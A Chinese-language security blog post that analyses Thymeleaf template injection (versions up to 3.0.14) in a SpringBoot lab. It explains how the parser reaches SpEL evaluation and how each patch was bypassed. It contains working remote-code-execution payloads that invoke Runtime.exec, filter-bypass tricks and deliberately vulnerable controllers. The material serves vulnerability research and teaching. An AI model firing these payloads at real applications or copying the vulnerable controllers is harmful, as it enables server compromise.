Java 安全 | Thymeleaf 模板注入原理分析

admin 2024年12月29日22:33:48评论15 views字数 16597阅读55分19秒阅读模式

Thymeleaf 模板注入原理分析

前言

本次记载 Thymeleaf 版本 <= 3.0.14 下的攻击手法, 当然 3.0.15 也有洞, 但利用方式变了, 故不记载.

Java 安全 | Thymeleaf 模板注入原理分析

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

环境搭建

在搭建 SpringBoot + Thymeleaf 环境时会存在一些坑点 (不使用网上给出的代码搭建), 在这里也将坑点记载一下.

定义pom.xml:

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.0.RELEASE</version><!-- 2.2.0.RELEASE 的 thymeleaf 版本是对的 -->
</parent>

<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>

注意这里的注释, 因为 Thymeleaf 模板注入漏洞到 3.0.14, 中间存在一些绕过. 但再往后的版本则修复了.

关于内置版本问题我们可以通过 Maven 本地已导入的依赖进行查看:

Java 安全 | Thymeleaf 模板注入原理分析

随后就是往常的SpringBoot环境搭建部分. 定义com.heihu577.MainApp用于启动SpringBoot:

@SpringBootApplication
publicclassMainApp{
publicstaticvoidmain(String[] args){
        ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.classargs);
    }
}

定义com.heihu577.bean.User类, 用于后续的表达式理解:

@Data
@NoArgsConstructor
@AllArgsConstructor
publicclassUser{
private Integer id;
private String name;
}

定义com.heihu577.controller.EvilController, 用于测试与验证漏洞:

@Controller
publicclassEvilController{
@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
return payload;
    }
}

定义com.heihu577.controller.HelloController, 用于理解 Thymeleaf 表达式:

@Controller
publicclassHelloController{
@RequestMapping("/hello.html")
public String hi(@RequestParam(value = "id", required = false, defaultValue = "999") Integer id, Model model) // 使用 map, 使用 ModelAndView 也可以
        model.addAttribute("user"new User(id, "张三"));
        model.addAttribute("message""My Name Heihu577");
return"hello";
    }

@RequestMapping("/insertFooterValue")
public String insertFooterValue(Map<Object, Object> map){
return"footer::copy"// 只引入 footer.html 中的 copy 代码段的值
    }
}

定义/resources/templates/footer.html:

<htmlxmlns:th="http://www.thymeleaf.org">
<head>
<title>Hello</title>
<metacharset="UTF-8"/>
</head>
<body>
<divth:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>

定义/resources/templates/hello.html:

<htmlxmlns:th="http://www.thymeleaf.org">
<head>
<title>Hello</title>
<metacharset="UTF-8"/>
</head>
<body>
<h1th:text="Hi">文本输出演示</h1>
<h2th:text="${message}">通过message语法进行取出request域中的变量</h2>
<h4>[[${message}]] 这里是不通过 th 标签取出的变量</h4>
<h3th:text="${user.id}">通过点语法进行取出</h3>
<divth:object="${user}">
    取出 JavaBean 的内容:
<divth:text="*{id}">取出ID属性</div>
<divth:text="*{name}">取出NAME属性</div>
</div>
<ath:href="@{'hello.html?id='+${user.id}}">URL 表达式</a>
<h4th:text="#{greeting('HAHAHA')}">消息表达式, 去找 hello.properties</h4>
<divth:insert="~{footer::copy}">我要把/resources/templates/footer.html模板中的内容插入到当前页面中,并且去找代码片段为copy的</div>
<divth:insert="~{footer}">我要把整个footer.html插入进来!!!</div>
<divth:fragment="ending">当前模板的最后标签~</div><!-- 定义片段表达式 -->
<divth:insert="~{::ending}">取出当前模板的ending, 效果与 ~{this::ending 相同}</div>
</body>
</html>

定义/resources/templates/hello.properties:

name=Heihu577
greeting=Hello, {0}!

定义/resources/application.yml:

server:
port:80
spring:
thymeleaf:
cache:false
prefix:classpath:/templates/
suffix:.html

定义完毕后, 结构如下:

Java 安全 | Thymeleaf 模板注入原理分析

漏洞分析

Thymeleaf 表达式

首先先加入命名空间

<htmlxmlns:th="http://www.thymeleaf.org">

随后即可使用 Thymeleaf 表达式进行获取后端所存储的数据, 语法格式如下:

编号
属性
描述
示例
1
$ {...}
变量表达式,可用于获取后台传过来的值
<p th:text="${userName}">中国</p>
2
* {...}
选择变量表达式
3
#{...}
消息表达式
4
@{...}
链接⽹址表达式,用于替换网页中的 src、href 等的值
th:href="@{/css/home.css}"
5
〜{...}
⽚段表达式,可以用于引用公共的目标片段

对于这个案例, 笔者在环境搭建时所定义了/hello.html路由, 它放在HelloController下, 如图:

Java 安全 | Thymeleaf 模板注入原理分析

这里返回了hello模板最终会通过/resources/application.yml中定义的spring.thymeleaf.prefix && spring.thymeleaf.suffix最终找到对应的模板文件并解析, 关于运行结果, 用下图运行结果理解:

Java 安全 | Thymeleaf 模板注入原理分析

这里根据运行结果, 即可知道 Thymeleaf 的主要运行逻辑是什么, 不再过多解释, 出现问题的是片段表达式 ~{}. 而在ThymeleafSpringBoot的模板渲染中, 如果返回的视图名称中含有::, 则Thymeleaf认为将其引入片段表达式, 而出现漏洞原因的主要也是该语法, 我们看一下如下返回结果:

Java 安全 | Thymeleaf 模板注入原理分析

所以核心问题是它在SpringBoot底层是如何进行解析的.

版本 =< 3.0.11 分析

SpringBoot 视图解析

在漏洞分析之前, 这里会涉及到SpringBoot的视图分发原理, 从SpringBoot层跳跃到Thymeleaf层的分析. 我们知道SpringBoot底层的WEB处理则是SpringMVC核心原理, 而每次HTTP请求, 这里定位到DispatcherServlet::doDispatch方法, 看一下下面的运行逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

这里最终会调用到ThymeleafView::renderFragment方法进行解析我们方法的返回值, 还是那个道理, 我们依然关心它是如何进行解析片段表达式的.

片段表达式解析逻辑 & 漏洞分析 & payload

我们不关心其他的逻辑, 走向核心解析逻辑, 直接打入如下payload:

t3.0.11?payload=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
为什么 payload 中有 _ 与 ::

看一下是如何进行解析的, 定位到ThymeleafView::renderFragment分析核心逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

这里有两个信息:

  1. 我们的 payload 中必须存在 _ 下划线.
  2. 使用正则表达式解析 __内容__ 中的内容部分.
RCE 的本质是什么

下面我们看一下《内容》部分被匹配到之后, 做了一些什么事情:

Java 安全 | Thymeleaf 模板注入原理分析

这里经过一系列调用栈调用到了SpelExpression::getValue方法中, 实际上这是一个经典的SpEL表达式注入漏洞的例子, 因为在研究SpEL表达式注入时, 本质上也是SpelExpression::getValue的锅:

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Heihu577').concat(#end)");
System.out.println(expression.getClass()); // class org.springframework.expression.spel.standard.SpelExpression
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end""!");
String string = expression.getValue(context).toString();
System.out.println(string);

所以只要调用到SpelExpression::getValue方法, 若参数上下文允许的情况下, 是可以进行一个SpEL表达式注入的.

为什么 payload 中有 $

特别注意: 调试这部分代码一定要重启一下 SpringBoot, 否则因为缓存机制从而无法定位到具体方法

而至于为什么调用栈中调用到了VariableExpression::executeVariableExpression以及为什么payload中含有${}, 实际上是在StandardExpressionParser::parseExpression方法中有解析逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

可以看到的是, 在ExperssionParsingUtil::decomposeSimpleExpressions中第203~216行的switch代码块会对$, *, #, @, ~进行筛选处理, 而如果筛选到了, 会返回不同的解析器, 下面我们看一下对于${}的处理:

Java 安全 | Thymeleaf 模板注入原理分析

而筛选出不同的结果, 最后会通过SimpleExpression::executeSimple方法进行分发调用:

static Object executeSimple(final IExpressionContext context, final SimpleExpression expression,
final IStandardVariableExpressionEvaluator expressionEvaluator, final StandardExpressionExecutionContext expContext)
{
if (expression instanceof VariableExpression) {
return VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);
}
if (expression instanceof MessageExpression) {
return MessageExpression.executeMessageExpression(context, (MessageExpression)expression, expContext);
}
if (expression instanceof TextLiteralExpression) {
return TextLiteralExpression.executeTextLiteralExpression(context, (TextLiteralExpression)expression, expContext);
}
if (expression instanceof NumberTokenExpression) {
return NumberTokenExpression.executeNumberTokenExpression(context, (NumberTokenExpression) expression, expContext);
}
if (expression instanceof BooleanTokenExpression) {
return BooleanTokenExpression.executeBooleanTokenExpression(context, (BooleanTokenExpression) expression, expContext);
}
if (expression instanceof NullTokenExpression) {
return NullTokenExpression.executeNullTokenExpression(context, (NullTokenExpression) expression, expContext);
}
if (expression instanceof LinkExpression) {
// No expContext to be specified: link expressions always execute in RESTRICTED mode for the URL base and NORMAL for URL parameters
return LinkExpression.executeLinkExpression(context, (LinkExpression)expression);
}
if (expression instanceof FragmentExpression) {
// No expContext to be specified: fragment expressions always execute in RESTRICTED mode
return FragmentExpression.executeFragmentExpression(context, (FragmentExpression)expression);
}
if (expression instanceof SelectionVariableExpression) {
return SelectionVariableExpression.executeSelectionVariableExpression(context, (SelectionVariableExpression)expression, expressionEvaluator, expContext);
}
if (expression instanceof NoOpTokenExpression) {
return NoOpTokenExpression.executeNoOpTokenExpression(context, (NoOpTokenExpression) expression, expContext);
}
if (expression instanceof GenericTokenExpression) {
return GenericTokenExpression.executeGenericTokenExpression(context, (GenericTokenExpression) expression, expContext);
}
thrownew TemplateProcessingException("Unrecognized simple expression: " + expression.getClass().getName());
}

所以使用了哪种类型的Expression至关重要, 如果这里筛选到调用方法的逻辑, 最终调用到SPELVariableExpressionEvaluator::evaluate则存在漏洞.

版本 = 3.0.12 分析

SpringBoot 版本切换

使用如下pom.xml:

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.0</version>
</parent>

<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>

切换为2.5.0版本的springboot之后, 我们则可以进行分析3.0.12版本的Thymeleaf. 切换成功后可通过访问/hello.html来检测环境是否正常.

防御与绕过

Payload

在该版本中, 我们不能通过@RequestParam进行攻击了, 也就是说, 不再允许通过传参进行攻击, 只可以使用URI进行攻击.

什么意思呢?也就是说, 我们只可以进行攻击如下Controller中的方法:

@RequestMapping("/t3.0.12/{data}")
publicvoidt122(@PathVariable("data") String data) {}

注意这里的方法返回值必须为void, 如果是单纯的String, 也是不可以进行攻击的, 而针对于该控制器攻击的payload为:

/t3.0.12//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x 或
/t3.0.12;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
SpringBoot 处理 URI & 默认视图核心逻辑
通过 URI 查找对应的方法 & 为什么 payload 中使用分号以及双杠

当一个请求到达以@RequestMapping注解声明的方法之前, 会使用RequestMappingHandlerMapping进行解析当前的URI, 其目的是为了通过当前请求的 URI 来找到对应的方法 (也就是 HandlerMethod), 但解析URI时会进行一些解码操作, 它的核心逻辑如下:

Java 安全 | Thymeleaf 模板注入原理分析

由于 SpringBoot 自己的UrlPathHelper::decodeAndCleanUriString机制, 从而导致该版本的Thymeleaf出现了可绕过的场景. 当获取完毕当前 URI 后会设置到当前 request 域的属性中:

Java 安全 | Thymeleaf 模板注入原理分析

当然这只是一部分原因, 造成主要原因还是因为方法值返回void时, SpringBoot提供默认视图的处理逻辑.

方法返回 void 默认视图处理 & 为什么方法值必须为 void

当一个方法值返回void时, SpringBoot会根据当前请求的URI来进行分配默认视图, 它的代码逻辑在DispatcherServlet::applyDefaultViewName方法, 代码逻辑如下:

Java 安全 | Thymeleaf 模板注入原理分析

所以这里视图名称的获取, 也是经过UrlPathHelper::decodeAndCleanUriString处理后的.

检测视图名称是否在本次请求中出现过 [SpringRequestUtils.checkViewNameNotInRequest]

ThymeleafView::renderFragment方法中, 增加了一行方法调用, 它的逻辑如下:

Java 安全 | Thymeleaf 模板注入原理分析

而该方法的定义如下:

publicfinalclassSpringRequestUtils{
publicstaticvoidcheckViewNameNotInRequest(final String viewName, final HttpServletRequest request){
final String vn = StringUtils.pack(viewName);
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
            String[] paramValues;
            String paramValue;
while (!found && paramNames.hasMoreElements()) {
                paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
                    paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
                        found = true;
                    }
                }
            }
        }
if (found) {
thrownew TemplateProcessingException(
"View name is an executable expression, and it is present in a literal manner in " +
"request path or parameters, which is forbidden for security reasons.");
        }
    }
privateSpringRequestUtils(){
super();
    }
}

该方法的逻辑则是: 通过当前SpringBoot传递过来的视图名称 (viewName) 中, 是否包含或等同于request.getRequestURI()的值!

  1. 如果等同或包含了, 则意味着是危险请求, 直接通过抛出异常的方式来进行中止执行.
  2. 反之, 则通过判断当前 URL 的所有传递过来的参数是否等同或包含.
修复参数传递问题 & 鸡肋的绕过方式 [第二种情况]

这里的第二点则将如下控制器形式修复掉了:

@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
return payload;
}

因为其中检测了参数值, 但是我们可以通过定义如下控制器进行绕过这个函数的检测 (虽然实战几乎碰不到这样的场景):

@RequestMapping("/t3.0.11")
public String thymeleaf_3_0_11(@RequestParam(value = "payload", required = false) String payload) {
returnnew String(Base64.getDecoder().decode(payload.getBytes()));
}

这里我们可以通过生成Base64来绕过这个函数的检测:

String res = Base64.getEncoder().encodeToString(
        URLDecoder.decode("__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x").getBytes()
);
System.out.println(res);

随后使用如下payload即可攻击:

t3.0.11?payload=X18ke1QgKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYygiY2FsYyIpfV9fOjoueA==
根据默认视图名称歧义绕过 [第一种情况]

这也就是网上所流传的经典绕过思路了, 在我们之前所说过, 默认视图名称的获取, 是经过SpringBootUrlPathHelper::decodeAndCleanUriString方法处理后的.

Thymeleaf所定义的SpringRequestUtils.checkViewNameNotInRequest方法是使用的原生的HttpServletRequest::getRequestURI进行判断的, 所以根据如下方法:

@RequestMapping("/t3.0.12/{data}")
publicvoidt122(@PathVariable("data") String data) {}

当打入如下payload时会产生歧义:

/t3.0.12//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x 或
/t3.0.12;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x

具体的歧义点如下:

Java 安全 | Thymeleaf 模板注入原理分析

除了;, 还有双写/, 歧义点如下:

Java 安全 | Thymeleaf 模板注入原理分析
对 SpEL 表达式进行检测方法 & 为什么使用 T 关键字 [SpringStandardExpressionUtils::containsSpELInstantiationOrStatic]

该版本除了刚刚的那种检测机制, 还在调用SpEL表达式之前, 通过SpringStandardExpressionUtils::containsSpELInstantiationOrStatic方法进行检测了, 具体定义如下:

publicfinalclassSpringStandardExpressionUtils{
privatestaticfinalchar[] NEW_ARRAY = "wen".toCharArray();
privatestaticfinalint NEW_LEN = NEW_ARRAY.length;
publicstaticbooleancontainsSpELInstantiationOrStatic(final String expression){
finalint explen = expression.length();
int n = explen;
int ni = 0;
int si = -1;
char c;
while (n-- != 0) {
            c = expression.charAt(n);
if (ni < NEW_LEN
                    && c == NEW_ARRAY[ni]
                    && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
                ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
returntrue;
                }
continue;
            }
if (ni > 0) {
                n += ni;
                ni = 0;
if (si < n) {
                    si = -1;
                }
continue;
            }
            ni = 0;
if (c == ')') {
                si = n;
            } elseif (si > n && c == '('
                        && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                        && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
returntrue;
            } elseif (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
                si = -1;
            }
        }
returnfalse;
    }
privateSpringStandardExpressionUtils(){
super();
    }
}

可以看到其主要逻辑如下:

  1. 倒序检测是否包含 wen关键字
  2. (的左边的字符是否是T,如包含,那么认为找到了一个实例化对象

所以我们的绕过思路如下:

根据第一点: 抛出原有payload中使用new的思路, 当然这种绕过形式在SpEL中有很多方式. 就不一一举例了.

根据第二点: 在 T 与 ( 之间插入可以被SpEL解析的空字符, 例如: 空格. 即可.

除空格以外的其他绕过思路

这里显然绕过第二点是有玩法的, 除了原payload提供空格绕过以外, 我们可以通过编写如下POC进行检测哪些字符可以被SpEL解析:

publicclassT3{
publicstaticvoidmain(String[] args){
for (char i = 0; i < 0xff; i++) {
try {
                SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
                Expression expression = spelExpressionParser.parseExpression("T" + i + "(java.lang.Runtime)");
                expression.getValue();
// 补全两位, 当作 URL 编码
                System.out.println("%" + String.format("%02X", (int) i) + " 可以进行绕过~");
            } catch (Exception e) {}
        }
    }
}

最终结果如下:

%00 可以进行绕过~
%09 可以进行绕过~
%0A 可以进行绕过~
%0D 可以进行绕过~
%20 可以进行绕过~

版本 = 3.0.14 分析

这里不会再分析3.0.13, 原因则是: SpringBoot 2.5.7版本使用的Thymeleaf 3.0.12版本, 当切换为SpringBoot 2.5.8之后直接跳跃到Thymeleaf 3.0.14, 所以这里直接分析Thymeleaf 3.0.14.

SpringBoot 版本切换

修改pom.xml文件内容如下:

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.8</version>
</parent>

<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>

防御与绕过

Payload

在该版本中, 不再局限于void方法, 使用@RequestParam注解声明的方法, 依旧可以进行攻击, 也就是可以攻击如下控制器:

@RequestMapping("/t3.0.14/{data}")
publicvoidt122(@PathVariable("data") String data) {
}

@RequestMapping("/tt3.0.14")
public String t3014(String data){
return data;
}

其中 Payload 给上:

PathVariable 利用: __$%7C%7C{''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}__::.x
RequestParam 利用: __%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7D__%3A%3A.x

那么为什么又可以攻击@RequestParam方法了呢?我们具体往下看.

SpringRequestUtils.checkViewNameNotInRequest 代码逻辑修改

其核心原因则是该方法的代码逻辑进行了一定的修改, 看一下更新后的代码逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

所以这里仅仅只对方法返回的视图名称进行判断了, 当该函数被绕过后, 即可逃避掉该函数后面的对于参数检测的逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

而我们的Payload是绕过了containsExpression这个方法的检测的, 其核心是因为在进入SpEL表达式执行之前, 会对||做置空处理.

SpEL 表达式执行之前 [LiteralSubstitutionUtil::performLiteralSubstitution]

我们可以定位到ExpressionParsingUtil::decompose方法中看到在解析表达式之前, SpEL表达式会做出怎样的解码操作:

Java 安全 | Thymeleaf 模板注入原理分析

而根据LiteralSubstitutionUtil::performLiteralSubstitution这个方法的注释, 给出了如下案例:

 * # ------------------------------------------------------------
 * %CONTEXT
 * onevar = 'Hello'
 * twovar = 'World'
 * # ------------------------------------------------------------
 * %INPUT
 * <p th:text="|${onevar} ${twovar}|">...</p>
 * # ------------------------------------------------------------
 * %OUTPUT
 * <p>Hello World</p>
 * # ------------------------------------------------------------

而并没有考虑到, ||会被替换为空, 导致我们可以绕过SpringRequestUtils.checkViewNameNotInRequest方法的检测.

SpringStandardExpressionUtils::containsSpELInstantiationOrStaticOrParam 代码逻辑修改

在这个版本下, 对该函数也进行了升级, 导致我们无法利用T空字符()进行绕过了, 我们看一下具体的修改逻辑:

Java 安全 | Thymeleaf 模板注入原理分析

所以这里的绕过逻辑, 我们只需要通过反射的语法进行绕过即可, 不一定非要用 T 才能 RCE.

Reference

https://developer.aliyun.com/article/1368935

https://blog.csdn.net/qq_42674098/article/details/121558189

https://blog.csdn.net/byname1/article/details/143246069

https://www.freebuf.com/vuls/413661.html

https://mp.weixin.qq.com/s/pBt3Q0VF44AD7tTXxCD7Kg

https://www.cnblogs.com/CoLo/p/15507738.html#%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2

https://www.cnpanda.net/sec/1063.html

https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/

https://mp.weixin.qq.com/s/Sk9ySY837o7U-NAn6dN0RA

原文始发于微信公众号(Heihu Share):Java 安全 | Thymeleaf 模板注入原理分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月29日22:33:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | Thymeleaf 模板注入原理分析https://cn-sec.com/archives/3567676.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息